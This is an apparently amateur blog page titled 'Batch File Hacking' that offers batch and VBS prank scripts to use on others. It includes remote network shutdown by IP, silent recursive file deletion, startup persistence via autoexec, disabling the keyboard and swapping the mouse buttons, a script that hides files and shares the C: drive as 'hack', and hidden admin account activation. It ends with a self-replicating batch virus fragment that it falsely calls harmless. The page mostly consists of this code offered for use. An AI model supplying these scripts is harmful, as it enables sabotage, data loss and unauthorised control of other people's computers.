Home » » Batch File Hacking

Batch File Hacking

Batch File Hacking



Batch file hacking is very fun oh yeaa in this page i will teach some tricks and about them.



What Is A Batch File?

A batch file is a MS-DOS file that will execute certain commands these files are usually made with notepad, Alot of people think batch files are nooby but if you know what your doing they can actually be quite powerful and by powerful i mean deleting a whole C:/ Drive.



Whats CMD?

Ok Now you know what a Batch File is you need to know what CMD is ok well cmd is basicly MS-DOS it is a program that allows you to execute certain commands, CMD is simply short for Command Prompt which is its full name.





How To Get CMD?

Ok now were getting somewhere here are some simple ways to create and run cmd

1.Start>Run>"Type Cmd" and viola (If That Dosent Work Try Typing cmd.exe)

2.Notepad>(type command)>Save to desktop as (anything.bat) just make sure it has the extension (.bat) open it and theres C Prompt.

3.Right click anywhere on your desktop>New>shortcut>(type command)>enter>and on your desktop is C prompt.

4. Simply Go Start>Accesories>Command prompt. Lol

5. Go To C:\WINDOWS\system32\cmd



Tricks And Tips

Ok you now know the basics of your hacking journey, here are some tricks that you can use.









1. Shutdown Error

Ok this is a trick , when you click on this icon your about to make it will shut the computer down in the amount of time you set lets say 1min and you can leave a message, our message will be "You Got Owned".



To make this 1. Open Notepad, 2.Type Shutdown -s -t 60 -c "You Got Owned"

3. Save To Desktop As shutdown.bat (DONT FORGET THE .BAT)

4.You will now have an icon on yor desktop thats called shutdown.bat

5. Double click on it to execute and an error message will come up saying

"Shutdown Will Commence In 1min" and below that will be a message saying you got owned. Thank You That Is My First Trick.



(To abort, open another command prompt and type shutdown -a)





Shutdown Computers Over The Network.



To make this 1. Open Notepad, 2.Type Shutdown -s -m \\xxx.xxx.xxx.xxx (IP Address)

3. Save To Desktop As (Anything).bat (DONT FORGET THE .BAT)

4.Double click on the icon and wait.

5. Now there is of course other ways of doing this, read the post on the front page,



you can also open CMD and type "Shutdown -i"

Thats My 2nd Trick Thankyou.



Batch File That Deletes Other Things.



This batch file will delete any file on your computer, be carefull now its pretty simple first of all

1.Open Notepad

2. Type

3.@echo off

del "Path Of File You Want To Delete" /Q /S> nul

4. Save as "Anything.bat"

5. Execute It.



Example:

@echo off

del "C:/Documents And Settings/Custard/Desktop/lol.txt" /Q /S> nul



Creating a pause in a batch file

Creating a pause in a batch file is not a complicated thing to do, basically all you have to do is

start writing your batch, then have your first command then go down a line and type PAUSE then -t xx (xx being number of seconds

then the next line continue with the rest of your code















Make Batch Files run on startup:

To make a batch file run on start up go to C:\WINDOWS\system32 then find the file autoexec, there may be different extensions to this file the main ones being .bat, .nt, or .exe, then open in using notepad, then edit it placing the word start followed by the location of the batch file (example: My Documents/example.bat) in the file then saving and closing.

Thank you, Enjoy,

!~Mason~!

////////////////////////////////////////////////////////////////////////////////////////////



Making your own trojan in a .bat file  

Saturday, August 23, 2008

Open a dos prompt we will only need a dos prompt and windows xp operating system



-Basics-



Opening a dos prompt -> Go to start and then execute and type

cmd and press ok



Now insert this command: net

And you will get something like this



NET [ ACCOUNTS
COMPUTER
CONFIG
CONTINUE
FILE
GROUP
HELP


HELPMSG
LOCALGROUP
NAME
PAUSE
PRINT
SEND
SESSION
SHARE
START
STATISTICS
STOP
TIME
USE
USER
VIEW ]



In this tutorial we well use 3 of the commands listed here

they are: net user , net share and net send



We will select some of those commands and put them on a .bat file.



What is a .bat file?

Bat file is a piece of text that windows will execute as commands.

Open notepad and write there:



dir

pause



And now save this as test.bat and execute it.

Funny ain't it ?

Batch and VBS Codes Page 2

Basic Encrypter/Decrypter, note this will not keep advanced techies from finding out the info, keep in mind this is BASIC encryption



@echo off

title encrypter



:a

set /p number=enter number to encrypt:

set /p key=set key:

set /a ans=%number% + %key%



echo encrypted text is %ans%

pause

cls

goto a

______________________________________________

decrypter



@echo off

title decrypter



:a

set /p number=enter number to decrypt:

set /p key=enter key:

set /a ans=%number% - %key%



echo decrypted text is %ans%

pause

cls

goto a







Vista Secret Admin Activation batch:



@echo off

title Options

ECHO HIDDEN ADMINISTRATOR ACOUNT ACTIVATOR BY: !~Mason~!

Echo 1.) Activate Hidden Acount

Echo 2.) UnActivate Hidden Acount

pause >nul

set input=

set /p input=Option:

if %input%==1 goto 1

if %input%==2 goto 2



:1

cls

ECHO DO YOU WANT TO TURN ON THE HIDDEN ADMIN ACCOUNT?

@echo off

title Options

ECHO Y/N

pause >nul

set input=

set /p input=OPTION:

if %input%==n goto n

if %input%==y goto y



:N

cls

@echo off

title Options

ECHO HIDDEN ADMINISTRATOR ACOUNT ACTIVATOR BY: !~Mason~!

Echo 1.) Activate Hidden Acount

Echo 2.) UnActivate Hidden Acount

pause >nul

set input=

set /p input=Option:

if %input%==1 goto 1

if %input%==2 goto 2

:Y

cls

net user administrator /active:yes

cls

PAUSE

cls

net user administrator *

ECHO DONE!!!!

PAUSE

cls

@echo off

title Options

Echo 1.) EXIT

Echo 2.) Go Back

pause >nul

set input=

set /p input=Option:

if %input%==1 goto 1

if %input%==2 goto 2



:1

EXIT

:2

cls

@echo off

title Options

ECHO HIDDEN ADMINISTRATOR ACOUNT ACTIVATOR BY: !~Mason~!

Echo 1.) Activate Hidden Acount

Echo 2.) UnActivate Hidden Acount

pause >nul

set input=

set /p input=Option:

if %input%==1 goto 1

if %input%==2 goto 2

:2

@ECHO OFF

cls

ECHO DO YOU WANT TO TURN OFF THE HIDDEN ADMIN ACCOUNT?

@echo off

title Options

ECHO Y/N

pause >nul

set input=

set /p input=OPTION:

if %input%==n goto n

if %input%==y goto y



:N

cls

@echo off

title Options

ECHO HIDDEN ADMINISTRATOR ACOUNT ACTIVATOR BY: !~Mason~!

Echo 1.) Activate Hidden Acount

Echo 2.) UnActivate Hidden Acount

pause >nul

set input=

set /p input=Option:

if %input%==1 goto 1

if %input%==2 goto 2

:Y

cls

net user administrator /active:no

cls

ECHO Account Turned OFF!

PAUSE

cls

@echo off

title Options

Echo 1.) EXIT

Echo 2.) Go Back

pause >nul

set input=

set /p input=Option:

if %input%==1 goto 1

if %input%==2 goto 2



:1

EXIT

:2

cls

@echo off

title Options

ECHO HIDDEN ADMINISTRATOR ACOUNT ACTIVATOR BY: !~Mason~!

Echo 1.) Activate Hidden Acount

Echo 2.) UnActivate Hidden Acount

pause >nul

set input=

set /p input=Option:

if %input%==1 goto 1

if %input%==2 goto 2

////////////////////////////////////////////////////////////////////



Batch and Vbs codes

This page's code contributions have been made by Mason(pkk)



The first code we are going to look at is one that makes the cd tray open and close repeatedly until shutdown, or

(don't tell your friends, you press ctrl + alt + delete and go to processes, and end wscript.exe (this code is vbs so save in note pad as whateveryouwant.vbs)



Set oWMP = CreateObject("WMPlayer.OCX.7" )

Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then

do

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next ' cdrom

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next ' cdrom

loop

end if





next, we have a code that turns on and off your capslock repeatedly, also vbs, end same way as last time, this turns on and off your capslock every tenth of a second.



Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop





Now we have a batch file that pops up with repeating message boxes



:Begin

msg * Hi

msg * Are you having fun?

msg * I am!

msg * Lets have fun together!

msg * since you are stuck reading

msg * I am gonna tell you a story

msg * bout a dumb guy named (victims name)

msg * who just opened my batch

msg * and got stuck listening to a story

msg * from a computer

msg * so he was opening up batches

msg * when one pops up with a cool msg

msg * then it says "hi"

msg * Hi

msg * Are you having fun?

msg * I am!

msg * have fun playing with this one (insert victim)

msg * Because you have been P-w-n-e-d with a capital "P"

GOTO BEGIN





we now have a batch that is like a computer password, maybe you could stick it in autoexec.exe and make it run off startup?



@Echo off

echo Enter password then [F6] and then smack the [Enter] key real hard!

prompt $e[30m

echo on

echo off

copy con password.dat>nul

prompt $e[0m

echo on

echo off

cls

copy password.set+password.dat password.bat>nul

call password.bat

if '%password%==qwerty goto done

echo Incorrect, you are not trying to break into my pc are you?

choice /t:y,3

if errorlevel 2 goto next

:next

erase password.bat

erase password.dat

:hello

cls

echo Turn off PC

goto hello

:done

erase password.dat

erase password.bat

set password=qwerty

prompt $p$g





now we have a batch that switches the left mouse button with your right mouse button (also maybe add a code to stick in someones autoexec,

that would really make them mad)



@echo off

Rundll32 user32,SwapMouseButton

rundll32 keyboard,disable

msg * hahaha

msg * this is gunna screw you up

msg * good look finding how to fix it





batch file that will shutdown your computer and send a few messages about the matrix, rather bland and could be worked on a little bit more, some one

could tweak it a little and i'll repost it and give you credit, perhaps change the dos txt to green



@ Echo off

Title Matrix

msg * The matrix has you, you can not escape

rundll32.exe disable mouse

Attrib +h C:*.*

echo deleting harddrive

echo 1001101010101011111111101010101

echo 010101010101010101010101010111

assoc

assoc

Attrib C:Documents and settings*.*

net share hack=C:

shutdown -s -c 60





this is a VBs file so of course save as VBS, you can replace the txt in this code with whatever you want



Set wshshell = wscript.CreateObject("WScript.Shell")

Wshshell.run "Notepad"

wscript.sleep 400

wshshell.sendkeys "M"

wscript.sleep 100

wshshell.sendkeys "a"

wscript.sleep 120

wshshell.sendkeys "s"

wscript.sleep 200

wshshell.sendkeys "o"

wscript.sleep 140

wshshell.sendkeys "n"

wscript.sleep 100

wshshell.sendkeys " "

wscript.sleep 100

wshshell.sendkeys "P"

wscript.sleep 200

wshshell.sendkeys "w"

wscript.sleep 150

wshshell.sendkeys "n"

wscript.sleep 170

wshshell.sendkeys "s"

wscript.sleep 200

wshshell.sendkeys " "

wscript.sleep 100

wshshell.sendkeys "A"

wscript.sleep 50

wshshell.sendkeys "l"

wscript.sleep 120

wshshell.sendkeys "l"

wscript.sleep 160

wshshell.sendkeys " "

wscript.sleep 200

wshshell.sendkeys "N"

wscript.sleep 100

wshshell.sendkeys "e"

wscript.sleep 100

wshshell.sendkeys "w"

wscript.sleep 200

wshshell.sendkeys "b"

wscript.sleep 120

wshshell.sendkeys "s"





This is a batch file "Virus" it does not actually do anything. it will just set off your anti virus



@echo off>nul.ViRuS if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop if "%1=="/ViRuS_FINDSELF goto ViRuS_findself if "%VOFF%=="T goto ViRuS_OLDBAT set ViRuSname=%0 if not exist %0.bat call %0 /ViRuS_FINDSELF %path% if not exist %ViRuSname%.bat set ViRuSname= if "%ViRuSname%==" goto ViRuS_OLDBAT rem ViRuS if batch is started with name.BAT, virus will not become active rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable) rem ViRuS also if batch was only in an append /x:on path (chance=minimal) attrib +h %ViRuSname%.bat for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a attrib -h %ViRuSname%.bat set ViRuSname= goto ViRuS_OLDBAT :ViRuS_findself if "%2==" goto XXX_END>nul.ViRuS if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname% if exist %ViRuSname%.bat goto XXX_END if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname% if exist %ViRuSname%.bat goto XXX_END shift>nul.ViRuS goto ViRuS_findself :ViRuS_outer_loop for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a goto XXX_END>nul.ViRuS ViRuS_multiply find "ViRuS"

0 comments:

Post a Comment